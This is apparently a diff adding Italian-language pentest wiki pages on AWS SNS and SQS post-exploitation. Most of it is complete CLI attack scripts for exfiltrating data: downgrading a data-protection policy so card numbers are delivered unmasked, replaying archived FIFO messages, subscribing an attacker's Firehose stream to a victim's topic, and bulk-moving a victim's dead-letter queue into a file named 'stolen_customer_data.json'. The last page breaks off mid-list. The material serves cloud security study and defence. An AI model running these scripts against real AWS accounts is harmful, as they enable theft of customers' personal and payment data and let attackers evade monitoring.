||||
Un attaccante potrebbe inviare messaggi dannosi o indesiderati al topic SNS, causando potenzialmente corruzione dei dati, attivazione di azioni non intenzionali o esaurimento delle risorse.
|
||||
```bash
|
||||
aws sns publish --topic-arn <value> --message <value>
|
||||
```
|
||||
**Impatto Potenziale**: Corruzione dei dati, azioni non intenzionali o esaurimento delle risorse.
|
||||
|
||||
### `sns:SetTopicAttributes`
|
||||
|
||||
Un attaccante potrebbe modificare gli attributi di un argomento SNS, potenzialmente influenzando le sue prestazioni, sicurezza o disponibilità.
|
||||
```bash
|
||||
aws sns set-topic-attributes --topic-arn <value> --attribute-name <value> --attribute-value <value>
|
||||
```
|
||||
**Impatto Potenziale**: Configurazioni errate che portano a prestazioni degradate, problemi di sicurezza o disponibilità ridotta.
|
||||
|
||||
### `sns:Subscribe` , `sns:Unsubscribe`
|
||||
|
||||
Un attaccante potrebbe iscriversi o disiscriversi a un argomento SNS, guadagnando potenzialmente accesso non autorizzato ai messaggi o interrompendo il normale funzionamento delle applicazioni che si basano sull'argomento.
|
||||
```bash
|
||||
aws sns subscribe --topic-arn <value> --protocol <value> --endpoint <value>
|
||||
aws sns unsubscribe --subscription-arn <value>
|
||||
```
|
||||
**Impatto Potenziale**: Accesso non autorizzato ai messaggi, interruzione del servizio per le applicazioni che dipendono dall'argomento interessato.
|
||||
|
||||
### `sns:AddPermission` , `sns:RemovePermission`
|
||||
|
||||
Un attaccante potrebbe concedere accesso a utenti o servizi non autorizzati a un argomento SNS, o revocare i permessi per utenti legittimi, causando interruzioni nel normale funzionamento delle applicazioni che dipendono dall'argomento.
|
||||
```css
|
||||
aws sns add-permission --topic-arn <value> --label <value> --aws-account-id <value> --action-name <value>
|
||||
aws sns remove-permission --topic-arn <value> --label <value>
|
||||
```
|
||||
**Impatto Potenziale**: Accesso non autorizzato al topic, esposizione dei messaggi o manipolazione del topic da parte di utenti o servizi non autorizzati, interruzione del normale funzionamento delle applicazioni che si basano sul topic.
|
||||
|
||||
### `sns:TagResource` , `sns:UntagResource`
|
||||
|
||||
Un attaccante potrebbe aggiungere, modificare o rimuovere tag dalle risorse SNS, interrompendo l'allocazione dei costi della tua organizzazione, il tracciamento delle risorse e le politiche di controllo degli accessi basate sui tag.
|
||||
```bash
|
||||
aws sns tag-resource --resource-arn <value> --tags Key=<key>,Value=<value>
|
||||
aws sns untag-resource --resource-arn <value> --tag-keys <key>
|
||||
```
|
||||
**Impatto Potenziale**: Interruzione dell'allocazione dei costi, tracciamento delle risorse e politiche di controllo degli accessi basate sui tag.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,82 @@
|
||||
# AWS - SNS Post Exploitation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## SNS
|
||||
|
||||
Per maggiori informazioni:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-sns-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Interrompere i messaggi
|
||||
|
||||
In diversi casi, gli SNS topics vengono usati per inviare messaggi a piattaforme monitorate (email, slack messages...). Se un attaccante impedisce l'invio dei messaggi che segnalano la sua presenza nel cloud, potrebbe rimanere inosservato.
|
||||
|
||||
### `sns:DeleteTopic`
|
||||
|
||||
Un attaccante potrebbe cancellare un intero SNS topic, causando perdita di messaggi e impattando le applicazioni che si basano su quel topic.
|
||||
```bash
|
||||
aws sns delete-topic --topic-arn <value>
|
||||
```
|
||||
**Impatto potenziale**: Perdita di messaggi e interruzione del servizio per le applicazioni che usano il topic eliminato.
|
||||
|
||||
### `sns:Publish`
|
||||
|
||||
Un attacker potrebbe inviare messaggi malevoli o indesiderati al topic SNS, causando potenzialmente la corruzione dei dati, l'attivazione di azioni non intenzionate o l'esaurimento delle risorse.
|
||||
```bash
|
||||
aws sns publish --topic-arn <value> --message <value>
|
||||
```
|
||||
**Impatto potenziale**: Corruzione dei dati, azioni non intenzionali o esaurimento delle risorse.
|
||||
|
||||
### `sns:SetTopicAttributes`
|
||||
|
||||
Un attaccante potrebbe modificare gli attributi di un topic SNS, influenzandone potenzialmente le prestazioni, la sicurezza o la disponibilità.
|
||||
```bash
|
||||
aws sns set-topic-attributes --topic-arn <value> --attribute-name <value> --attribute-value <value>
|
||||
```
|
||||
**Potential Impact**: Configurazioni errate che possono portare a prestazioni degradate, problemi di sicurezza o disponibilità ridotta.
|
||||
|
||||
### `sns:Subscribe` , `sns:Unsubscribe`
|
||||
|
||||
Un attacker potrebbe iscriversi o annullare l'iscrizione a un SNS topic, ottenendo potenzialmente accesso non autorizzato ai messaggi o interrompendo il normale funzionamento delle applicazioni che si basano su quel topic.
|
||||
```bash
|
||||
aws sns subscribe --topic-arn <value> --protocol <value> --endpoint <value>
|
||||
aws sns unsubscribe --subscription-arn <value>
|
||||
```
|
||||
**Impatto potenziale**: Accesso non autorizzato ai messaggi, interruzione del servizio per applicazioni che dipendono dal topic interessato.
|
||||
|
||||
### `sns:AddPermission` , `sns:RemovePermission`
|
||||
|
||||
Un attacker potrebbe concedere a utenti o servizi non autorizzati l'accesso a un SNS topic, oppure revocare i permessi per utenti legittimi, causando interruzioni nel normale funzionamento delle applicazioni che si basano sul topic.
|
||||
```bash
|
||||
aws sns add-permission --topic-arn <value> --label <value> --aws-account-id <value> --action-name <value>
|
||||
aws sns remove-permission --topic-arn <value> --label <value>
|
||||
```
|
||||
**Potenziale impatto**: Accesso non autorizzato al topic, esposizione dei messaggi o manipolazione del topic da parte di utenti o servizi non autorizzati, interruzione del normale funzionamento delle applicazioni che dipendono dal topic.
|
||||
|
||||
### `sns:TagResource` , `sns:UntagResource`
|
||||
|
||||
Un attaccante potrebbe aggiungere, modificare o rimuovere tag dalle risorse SNS, compromettendo l'allocazione dei costi della tua organizzazione, il tracciamento delle risorse e le policy di controllo degli accessi basate sui tag.
|
||||
```bash
|
||||
aws sns tag-resource --resource-arn <value> --tags Key=<key>,Value=<value>
|
||||
aws sns untag-resource --resource-arn <value> --tag-keys <key>
|
||||
```
|
||||
**Impatto potenziale**: Interruzione dell'allocazione dei costi, del tracciamento delle risorse e delle politiche di controllo degli accessi basate sui tag.
|
||||
|
||||
### More SNS Post-Exploitation Techniques
|
||||
|
||||
{{#ref}}
|
||||
aws-sns-data-protection-bypass.md
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
aws-sns-fifo-replay-exfil.md
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
aws-sns-firehose-exfil.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,92 @@
|
||||
# AWS - SNS Bypass della protezione dei dati dei messaggi tramite downgrade della policy
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Se hai `sns:PutDataProtectionPolicy` su un topic, puoi passare la sua Message Data Protection policy da Deidentify/Deny a Audit-only (o rimuovere i controlli Outbound) in modo che valori sensibili (es., numeri di carta di credito) vengano consegnati non modificati alla tua subscription.
|
||||
|
||||
## Requisiti
|
||||
- Permessi sul topic target per chiamare `sns:PutDataProtectionPolicy` (e di solito `sns:Subscribe` se vuoi ricevere i dati).
|
||||
- Topic SNS standard (Message Data Protection supportato).
|
||||
|
||||
## Passaggi dell'attacco
|
||||
|
||||
- Variabili
|
||||
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
```
|
||||
|
||||
1) Crea un topic standard e una coda SQS dell'attaccante, e consenti solo a questo topic di inviare alla coda
|
||||
|
||||
```bash
|
||||
TOPIC_ARN=$(aws sns create-topic --name ht-dlp-bypass-$(date +%s) --region $REGION --query TopicArn --output text)
|
||||
Q_URL=$(aws sqs create-queue --queue-name ht-dlp-exfil-$(date +%s) --region $REGION --query QueueUrl --output text)
|
||||
Q_ARN=$(aws sqs get-queue-attributes --queue-url "$Q_URL" --region $REGION --attribute-names QueueArn --query Attributes.QueueArn --output text)
|
||||
|
||||
aws sqs set-queue-attributes --queue-url "$Q_URL" --region $REGION --attributes Policy=Version:2012-10-17
|
||||
```
|
||||
|
||||
2) Allega una data protection policy che maschera i numeri di carta di credito nei messaggi in uscita
|
||||
|
||||
```bash
|
||||
cat > /tmp/ht-dlp-policy.json <<'JSON'
|
||||
{
|
||||
"Name": "__ht_dlp_policy",
|
||||
"Version": "2021-06-01",
|
||||
"Statement": [{
|
||||
"Sid": "MaskCCOutbound",
|
||||
"Principal": ["*"],
|
||||
"DataDirection": "Outbound",
|
||||
"DataIdentifier": ["arn:aws:dataprotection::aws:data-identifier/CreditCardNumber"],
|
||||
"Operation": { "Deidentify": { "MaskConfig": { "MaskWithCharacter": "#" } } }
|
||||
}]
|
||||
}
|
||||
JSON
|
||||
aws sns put-data-protection-policy --region $REGION --resource-arn "$TOPIC_ARN" --data-protection-policy "$(cat /tmp/ht-dlp-policy.json)"
|
||||
```
|
||||
|
||||
3) Iscrivi la coda dell'attaccante e pubblica un messaggio con un numero di carta di credito di test, verifica la mascheratura
|
||||
|
||||
```bash
|
||||
SUB_ARN=$(aws sns subscribe --region $REGION --topic-arn "$TOPIC_ARN" --protocol sqs --notification-endpoint "$Q_ARN" --query SubscriptionArn --output text)
|
||||
aws sns publish --region $REGION --topic-arn "$TOPIC_ARN" --message payment:{cc:4539894458086459}
|
||||
aws sqs receive-message --queue-url "$Q_URL" --region $REGION --max-number-of-messages 1 --wait-time-seconds 15 --message-attribute-names All --attribute-names All
|
||||
```
|
||||
|
||||
L'estratto previsto mostra la mascheratura (hash):
|
||||
```json
|
||||
"Message" : "payment:{cc:################}"
|
||||
```
|
||||
4) Riduci la policy a audit-only (nessuna dichiarazione deidentify/deny che influenzi Outbound)
|
||||
|
||||
Per SNS, le dichiarazioni Audit devono essere Inbound. Sostituire la policy con una dichiarazione Inbound audit-only rimuove qualsiasi de-identification su Outbound, quindi i messaggi vengono inviati non modificati ai sottoscrittori.
|
||||
```bash
|
||||
cat > /tmp/ht-dlp-audit-only.json <<'JSON'
|
||||
{
|
||||
"Name": "__ht_dlp_policy",
|
||||
"Version": "2021-06-01",
|
||||
"Statement": [{
|
||||
"Sid": "AuditInbound",
|
||||
"Principal": ["*"],
|
||||
"DataDirection": "Inbound",
|
||||
"DataIdentifier": ["arn:aws:dataprotection::aws:data-identifier/CreditCardNumber"],
|
||||
"Operation": { "Audit": { "SampleRate": 99, "NoFindingsDestination": {} } }
|
||||
}]
|
||||
}
|
||||
JSON
|
||||
aws sns put-data-protection-policy --region $REGION --resource-arn "$TOPIC_ARN" --data-protection-policy "$(cat /tmp/ht-dlp-audit-only.json)"
|
||||
```
|
||||
|
||||
5) Pubblica lo stesso messaggio e verifica che il valore non mascherato venga recapitato
|
||||
```bash
|
||||
aws sns publish --region $REGION --topic-arn "$TOPIC_ARN" --message payment:{cc:4539894458086459}
|
||||
aws sqs receive-message --queue-url "$Q_URL" --region $REGION --max-number-of-messages 1 --wait-time-seconds 15 --message-attribute-names All --attribute-names All
|
||||
```
|
||||
L'estratto previsto mostra la CC in chiaro:
|
||||
```text
|
||||
4539894458086459
|
||||
```
|
||||
## Impatto
|
||||
- Cambiare un topic da de-identification/deny a audit-only (o rimuovendo in altro modo i controlli Outbound) permette a PII/secrets di passare non modificati verso subscriptions controllate dall'attaccante, abilitando l'esfiltrazione di dati che altrimenti sarebbero stati mascherati o bloccati.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,100 @@
|
||||
# SNS FIFO Archive Replay Exfiltration via Attacker SQS FIFO Subscription
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Abuso dell'archiviazione dei messaggi dei topic Amazon SNS FIFO per riprodurre ed exfiltrate messaggi pubblicati in precedenza verso una SQS FIFO queue controllata dall'attacker impostando la ReplayPolicy della subscription.
|
||||
|
||||
- Servizio: Amazon SNS (FIFO topics) + Amazon SQS (FIFO queues)
|
||||
- Requisiti: Topic deve avere `ArchivePolicy` abilitato (archiviazione dei messaggi). Attacker può `Subscribe` al topic e impostare attributi sulla loro subscription. Attacker controlla una SQS FIFO queue e permette al topic di inviare messaggi.
|
||||
- Impatto: Messaggi storici (pubblicati prima della subscription) possono essere consegnati all'endpoint dell'attacker. Le consegne riprodotte sono segnate con Replayed=true nell'envelope SNS.
|
||||
|
||||
## Precondizioni
|
||||
- SNS FIFO topic con archiviazione abilitata: `ArchivePolicy` (es. `{ "MessageRetentionPeriod": "2" }` per 2 giorni).
|
||||
- Attacker ha permessi per:
|
||||
- `sns:Subscribe` sul topic target.
|
||||
- `sns:SetSubscriptionAttributes` sulla subscription creata.
|
||||
- Attacker possiede una SQS FIFO queue e può allegare una queue policy che permetta `sns:SendMessage` dall'ARN del topic.
|
||||
|
||||
## Permessi IAM minimi
|
||||
- Sul topic: `sns:Subscribe`.
|
||||
- Sulla subscription: `sns:SetSubscriptionAttributes`.
|
||||
- Sulla queue: `sqs:SetQueueAttributes` per la policy, e queue policy che permetta `sns:SendMessage` dall'ARN del topic.
|
||||
|
||||
## Attacco: Replay dei messaggi archiviati verso attacker SQS FIFO
|
||||
Attacker sottoscrive la sua SQS FIFO queue al victim SNS FIFO topic, poi imposta la `ReplayPolicy` su un timestamp nel passato (all'interno della finestra di retention dell'archivio). SNS riproduce immediatamente i messaggi archiviati corrispondenti alla nuova subscription e li marca con `Replayed=true`.
|
||||
|
||||
Note:
|
||||
- Il timestamp usato in `ReplayPolicy` deve essere >= del `BeginningArchiveTime` del topic. Se è precedente, l'API restituisce `Invalid StartingPoint value`.
|
||||
- Per SNS FIFO `Publish`, è necessario specificare un `MessageGroupId` (e o un dedup ID o abilitare `ContentBasedDeduplication`).
|
||||
|
||||
<details>
|
||||
<summary>POC CLI end-to-end (us-east-1)</summary>
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
# Compute a starting point; adjust later to >= BeginningArchiveTime if needed
|
||||
TS_START=$(python3 - << 'PY'
|
||||
from datetime import datetime, timezone, timedelta
|
||||
print((datetime.now(timezone.utc) - timedelta(minutes=15)).strftime('%Y-%m-%dT%H:%M:%SZ'))
|
||||
PY
|
||||
)
|
||||
|
||||
# 1) Create SNS FIFO topic with archiving (2-day retention)
|
||||
TOPIC_NAME=htreplay$(date +%s).fifo
|
||||
TOPIC_ARN=$(aws sns create-topic --region "$REGION" \
|
||||
--cli-input-json '{"Name":"'"$TOPIC_NAME"'","Attributes":{"FifoTopic":"true","ContentBasedDeduplication":"true","ArchivePolicy":"{\"MessageRetentionPeriod\":\"2\"}"}}' \
|
||||
--query TopicArn --output text)
|
||||
|
||||
echo "Topic: $TOPIC_ARN"
|
||||
|
||||
# 2) Publish a few messages BEFORE subscribing (FIFO requires MessageGroupId)
|
||||
for i in $(seq 1 3); do
|
||||
aws sns publish --region "$REGION" --topic-arn "$TOPIC_ARN" \
|
||||
--message "{\"orderId\":$i,\"secret\":\"ssn-123-45-678$i\"}" \
|
||||
--message-group-id g1 >/dev/null
|
||||
done
|
||||
|
||||
# 3) Create attacker SQS FIFO queue and allow only this topic to send
|
||||
Q_URL=$(aws sqs create-queue --queue-name ht-replay-exfil-q-$(date +%s).fifo \
|
||||
--attributes FifoQueue=true --region "$REGION" --query QueueUrl --output text)
|
||||
Q_ARN=$(aws sqs get-queue-attributes --queue-url "$Q_URL" --region "$REGION" \
|
||||
--attribute-names QueueArn --query Attributes.QueueArn --output text)
|
||||
|
||||
cat > /tmp/ht-replay-sqs-policy.json <<JSON
|
||||
{"Version":"2012-10-17","Statement":[{"Sid":"AllowSNSSend","Effect":"Allow","Principal":{"Service":"sns.amazonaws.com"},"Action":"sqs:SendMessage","Resource":"$Q_ARN","Condition":{"ArnEquals":{"aws:SourceArn":"$TOPIC_ARN"}}}]}
|
||||
JSON
|
||||
# Use CLI input JSON to avoid quoting issues
|
||||
aws sqs set-queue-attributes --region "$REGION" --cli-input-json "$(python3 - << 'PY'
|
||||
import json, os
|
||||
print(json.dumps({
|
||||
'QueueUrl': os.environ['Q_URL'],
|
||||
'Attributes': {'Policy': open('/tmp/ht-replay-sqs-policy.json').read()}
|
||||
}))
|
||||
PY
|
||||
)"
|
||||
|
||||
# 4) Subscribe the queue to the topic
|
||||
SUB_ARN=$(aws sns subscribe --region "$REGION" --topic-arn "$TOPIC_ARN" \
|
||||
--protocol sqs --notification-endpoint "$Q_ARN" --query SubscriptionArn --output text)
|
||||
|
||||
echo "Subscription: $SUB_ARN"
|
||||
|
||||
# 5) Ensure StartingPoint is >= BeginningArchiveTime
|
||||
BEGIN=$(aws sns get-topic-attributes --region "$REGION" --topic-arn "$TOPIC_ARN" --query Attributes.BeginningArchiveTime --output text)
|
||||
START=${TS_START}
|
||||
if [ -n "$BEGIN" ]; then START="$BEGIN"; fi
|
||||
|
||||
aws sns set-subscription-attributes --region "$REGION" --subscription-arn "$SUB_ARN" \
|
||||
--attribute-name ReplayPolicy \
|
||||
--attribute-value "{\"PointType\":\"Timestamp\",\"StartingPoint\":\"$START\"}"
|
||||
|
||||
# 6) Receive replayed messages (note Replayed=true in the SNS envelope)
|
||||
aws sqs receive-message --queue-url "$Q_URL" --region "$REGION" \
|
||||
--max-number-of-messages 10 --wait-time-seconds 10 \
|
||||
--message-attribute-names All --attribute-names All
|
||||
```
|
||||
</details>
|
||||
|
||||
## Impatto
|
||||
**Impatto potenziale**: Un attaccante che può iscriversi a un SNS FIFO topic con l'archiviazione abilitata e impostare `ReplayPolicy` sulla propria sottoscrizione può riprodurre immediatamente ed esfiltrare messaggi storici pubblicati su quel topic, non solo i messaggi inviati dopo la creazione della sottoscrizione. I messaggi consegnati includono un flag `Replayed=true` nell'envelope SNS.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,76 @@
|
||||
# AWS - SNS to Kinesis Firehose Exfiltration (Fanout to S3)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Abusa del protocollo di subscription di Firehose per registrare un Kinesis Data Firehose delivery stream controllato dall'attaccante su un topic SNS standard della vittima. Una volta che la subscription è in atto e il ruolo IAM richiesto si fida di `sns.amazonaws.com`, ogni futura notifica viene scritta in modo duraturo nel bucket S3 dell'attaccante con rumore minimo.
|
||||
|
||||
## Requisiti
|
||||
- Permessi nell'account dell'attaccante per creare un bucket S3, un Firehose delivery stream e il ruolo IAM usato da Firehose (`firehose:*`, `iam:CreateRole`, `iam:PutRolePolicy`, `s3:PutBucketPolicy`, ecc.).
|
||||
- La possibilità di eseguire `sns:Subscribe` al topic della vittima (e opzionalmente `sns:SetSubscriptionAttributes` se l'ARN del ruolo della subscription viene fornito dopo la creazione).
|
||||
- Una topic policy che permetta al principal dell'attaccante di sottoscrivere (o l'attaccante opera già nello stesso account).
|
||||
|
||||
## Attack Steps (same-account example)
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
ACC_ID=$(aws sts get-caller-identity --query Account --output text)
|
||||
SUFFIX=$(date +%s)
|
||||
|
||||
# 1) Create attacker S3 bucket and Firehose delivery stream
|
||||
ATTACKER_BUCKET=ht-firehose-exfil-$SUFFIX
|
||||
aws s3 mb s3://$ATTACKER_BUCKET --region $REGION
|
||||
|
||||
STREAM_NAME=ht-firehose-stream-$SUFFIX
|
||||
FIREHOSE_ROLE_NAME=FirehoseAccessRole-$SUFFIX
|
||||
|
||||
# Role Firehose assumes to write into the bucket
|
||||
aws iam create-role --role-name "$FIREHOSE_ROLE_NAME" --assume-role-policy-document '{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [{"Effect": "Allow","Principal": {"Service": "firehose.amazonaws.com"},"Action": "sts:AssumeRole"}]
|
||||
}'
|
||||
|
||||
cat > /tmp/firehose-s3-policy.json <<JSON
|
||||
{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":["s3:AbortMultipartUpload","s3:GetBucketLocation","s3:GetObject","s3:ListBucket","s3:ListBucketMultipartUploads","s3:PutObject"],"Resource":["arn:aws:s3:::$ATTACKER_BUCKET","arn:aws:s3:::$ATTACKER_BUCKET/*"]}]}
|
||||
JSON
|
||||
aws iam put-role-policy --role-name "$FIREHOSE_ROLE_NAME" --policy-name AllowS3Writes --policy-document file:///tmp/firehose-s3-policy.json
|
||||
|
||||
aws firehose create-delivery-stream \
|
||||
--delivery-stream-name "$STREAM_NAME" \
|
||||
--delivery-stream-type DirectPut \
|
||||
--s3-destination-configuration RoleARN=arn:aws:iam::$ACC_ID:role/$FIREHOSE_ROLE_NAME,BucketARN=arn:aws:s3:::$ATTACKER_BUCKET \
|
||||
--region $REGION >/dev/null
|
||||
|
||||
# 2) IAM role SNS assumes when delivering into Firehose
|
||||
SNS_ROLE_NAME=ht-sns-to-firehose-role-$SUFFIX
|
||||
aws iam create-role --role-name "$SNS_ROLE_NAME" --assume-role-policy-document '{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [{"Effect": "Allow","Principal": {"Service": "sns.amazonaws.com"},"Action": "sts:AssumeRole"}]
|
||||
}'
|
||||
|
||||
cat > /tmp/allow-firehose.json <<JSON
|
||||
{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":["firehose:PutRecord","firehose:PutRecordBatch"],"Resource":"arn:aws:firehose:$REGION:$ACC_ID:deliverystream/$STREAM_NAME"}]}
|
||||
JSON
|
||||
aws iam put-role-policy --role-name "$SNS_ROLE_NAME" --policy-name AllowFirehoseWrites --policy-document file:///tmp/allow-firehose.json
|
||||
|
||||
SNS_ROLE_ARN=arn:aws:iam::$ACC_ID:role/$SNS_ROLE_NAME
|
||||
|
||||
# 3) Subscribe Firehose to the victim topic
|
||||
TOPIC_ARN=<VICTIM_TOPIC_ARN>
|
||||
aws sns subscribe \
|
||||
--topic-arn "$TOPIC_ARN" \
|
||||
--protocol firehose \
|
||||
--notification-endpoint arn:aws:firehose:$REGION:$ACC_ID:deliverystream/$STREAM_NAME \
|
||||
--attributes SubscriptionRoleArn=$SNS_ROLE_ARN \
|
||||
--region $REGION
|
||||
|
||||
# 4) Publish test message and confirm arrival in S3
|
||||
aws sns publish --topic-arn "$TOPIC_ARN" --message 'pii:ssn-123-45-6789' --region $REGION
|
||||
sleep 90
|
||||
aws s3 ls s3://$ATTACKER_BUCKET/ --recursive
|
||||
```
|
||||
## Pulizia
|
||||
- Elimina la SNS subscription, il Firehose delivery stream, i ruoli/policy IAM temporanei e l'attacker S3 bucket.
|
||||
|
||||
## Impatto
|
||||
**Impatto potenziale**: Exfiltration continua e duratura di ogni messaggio pubblicato nel SNS topic mirato verso attacker-controlled storage con un footprint operativo minimo.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,150 @@
|
||||
# AWS – SQS DLQ Redrive Exfiltration via StartMessageMoveTask
|
||||
|
||||
## Description
|
||||
|
||||
Abusa dei message move task di SQS per rubare tutti i messaggi accumulati nella Dead-Letter Queue (DLQ) della vittima reindirizzandoli verso una queue controllata dall'attaccante usando `sqs:StartMessageMoveTask`. Questa tecnica sfrutta la funzionalità legittima di recovery dei messaggi di AWS per esfiltrare dati sensibili accumulati nelle DLQ nel tempo.
|
||||
|
||||
## What is a Dead-Letter Queue (DLQ)?
|
||||
|
||||
Una Dead-Letter Queue è una queue SQS speciale dove i messaggi vengono automaticamente inviati quando non riescono a essere processati con successo dall'applicazione principale. Questi messaggi falliti spesso contengono:
|
||||
- Dati sensibili dell'applicazione che non sono stati processati
|
||||
- Dettagli di errore e informazioni di debugging
|
||||
- Personal Identifiable Information (PII)
|
||||
- API token, credenziali o altri secret
|
||||
- Dati di transazioni critiche per il business
|
||||
|
||||
Le DLQ agiscono come un "cimitero" per i messaggi falliti, rendendole obiettivi preziosi poiché accumulano dati sensibili nel tempo che le applicazioni non sono riuscite a gestire correttamente.
|
||||
|
||||
## Attack Scenario
|
||||
|
||||
**Real-world example:**
|
||||
1. **E-commerce application** processa gli ordini dei clienti tramite SQS
|
||||
2. **Alcuni ordini falliscono** (problemi di pagamento, inventario, ecc.) e vengono spostati in una DLQ
|
||||
3. **La DLQ accumula** settimane/mesi di ordini falliti contenenti dati dei clienti: {"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}
|
||||
4. **L'attaccante ottiene accesso** a credenziali AWS con permessi SQS
|
||||
5. **L'attaccante scopre** che la DLQ contiene migliaia di ordini falliti con dati sensibili
|
||||
6. **Invece di cercare di accedere ai singoli messaggi** (lento e ovvio), l'attaccante usa `StartMessageMoveTask` per trasferire in blocco TUTTI i messaggi verso la propria queue
|
||||
7. **L'attaccante estrae** tutti i dati storici sensibili in un'unica operazione
|
||||
|
||||
## Requirements
|
||||
- La source queue deve essere configurata come DLQ (referenziata da almeno una RedrivePolicy di qualche queue).
|
||||
- IAM permissions (run as the compromised victim principal):
|
||||
- On DLQ (source): `sqs:StartMessageMoveTask`, `sqs:GetQueueAttributes`.
|
||||
- On destination queue: permission to deliver messages (e.g., queue policy allowing `sqs:SendMessage` from the victim principal). For same-account destinations this is typically allowed by default.
|
||||
- If SSE-KMS is enabled: on source CMK `kms:Decrypt`, and on destination CMK `kms:GenerateDataKey`, `kms:Encrypt`.
|
||||
|
||||
## Impact
|
||||
Esfiltrare payload sensibili accumulati nelle DLQ (eventi falliti, PII, token, payload applicativi) ad alta velocità usando le API native di SQS. Funziona cross-account se la policy della destination queue permette `SendMessage` dal victim principal.
|
||||
|
||||
## How to Abuse
|
||||
|
||||
- Identificare l'ARN della DLQ vittima e assicurarsi che sia effettivamente referenziata come DLQ da qualche queue (qualsiasi queue va bene).
|
||||
- Creare o scegliere una destination queue controllata dall'attaccante e ottenere il suo ARN.
|
||||
- Avviare un message move task dalla DLQ vittima alla tua destination queue.
|
||||
- Monitorare il progresso o cancellare il task se necessario.
|
||||
|
||||
### CLI Example: Exfiltrating Customer Data from E-commerce DLQ
|
||||
|
||||
**Scenario**: Un attaccante ha compromesso credenziali AWS e ha scoperto che un'applicazione e-commerce usa SQS con una DLQ contenente tentativi falliti di processing degli ordini dei clienti.
|
||||
|
||||
1) **Discover and examine the victim DLQ**
|
||||
```bash
|
||||
# List queues to find DLQs (look for names containing 'dlq', 'dead', 'failed', etc.)
|
||||
aws sqs list-queues --queue-name-prefix dlq
|
||||
|
||||
# Let's say we found: https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq
|
||||
VICTIM_DLQ_URL="https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq"
|
||||
SRC_ARN=$(aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text)
|
||||
|
||||
# Check how many messages are in the DLQ (potential treasure trove!)
|
||||
aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" \
|
||||
--attribute-names ApproximateNumberOfMessages
|
||||
# Output might show: "ApproximateNumberOfMessages": "1847"
|
||||
```
|
||||
2) **Crea una coda di destinazione controllata dall'attaccante**
|
||||
```bash
|
||||
# Create our exfiltration queue
|
||||
ATTACKER_Q_URL=$(aws sqs create-queue --queue-name hacker-exfil-$(date +%s) --query QueueUrl --output text)
|
||||
ATTACKER_Q_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_Q_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text)
|
||||
|
||||
echo "Created exfiltration queue: $ATTACKER_Q_ARN"
|
||||
```
|
||||
3) **Esegui il furto di massa dei messaggi**
|
||||
```bash
|
||||
# Start moving ALL messages from victim DLQ to our queue
|
||||
# This operation will transfer thousands of failed orders containing customer data
|
||||
echo "Starting bulk exfiltration of $SRC_ARN to $ATTACKER_Q_ARN"
|
||||
TASK_RESPONSE=$(aws sqs start-message-move-task \
|
||||
--source-arn "$SRC_ARN" \
|
||||
--destination-arn "$ATTACKER_Q_ARN" \
|
||||
--max-number-of-messages-per-second 100)
|
||||
|
||||
echo "Move task started: $TASK_RESPONSE"
|
||||
|
||||
# Monitor the theft progress
|
||||
aws sqs list-message-move-tasks --source-arn "$SRC_ARN" --max-results 10
|
||||
```
|
||||
4) **Raccogliere i dati sensibili rubati**
|
||||
```bash
|
||||
# Receive the exfiltrated customer data
|
||||
echo "Receiving stolen customer data..."
|
||||
aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \
|
||||
--attribute-names All --message-attribute-names All \
|
||||
--max-number-of-messages 10 --wait-time-seconds 5
|
||||
|
||||
# Example of what an attacker might see:
|
||||
# {
|
||||
# "Body": "{\"customerId\":\"cust_12345\",\"email\":\"john@example.com\",\"creditCard\":\"4111-1111-1111-1111\",\"orderTotal\":\"$299.99\",\"failureReason\":\"Payment declined\"}",
|
||||
# "MessageId": "12345-abcd-6789-efgh"
|
||||
# }
|
||||
|
||||
# Continue receiving all messages in batches
|
||||
while true; do
|
||||
MESSAGES=$(aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \
|
||||
--max-number-of-messages 10 --wait-time-seconds 2 --output json)
|
||||
|
||||
if [ "$(echo "$MESSAGES" | jq '.Messages | length')" -eq 0 ]; then
|
||||
echo "No more messages - exfiltration complete!"
|
||||
break
|
||||
fi
|
||||
|
||||
echo "Received batch of stolen data..."
|
||||
# Process/save the stolen customer data
|
||||
echo "$MESSAGES" >> stolen_customer_data.json
|
||||
done
|
||||
```
|
||||
### Note cross-account
|
||||
- La coda di destinazione deve avere una resource policy che consenta al principal vittima di `sqs:SendMessage` (e, se utilizzati, KMS grants/permissions).
|
||||
|
||||
## Perché questo attacco è efficace
|
||||
|
||||
1. **Funzionalità AWS legittima**: Usa funzionalità AWS integrate, rendendo difficile identificarlo come attività malevola
|
||||
2. **Operazione massiva**: Trasferisce migliaia di messaggi rapidamente invece di un accesso individuale lento
|
||||
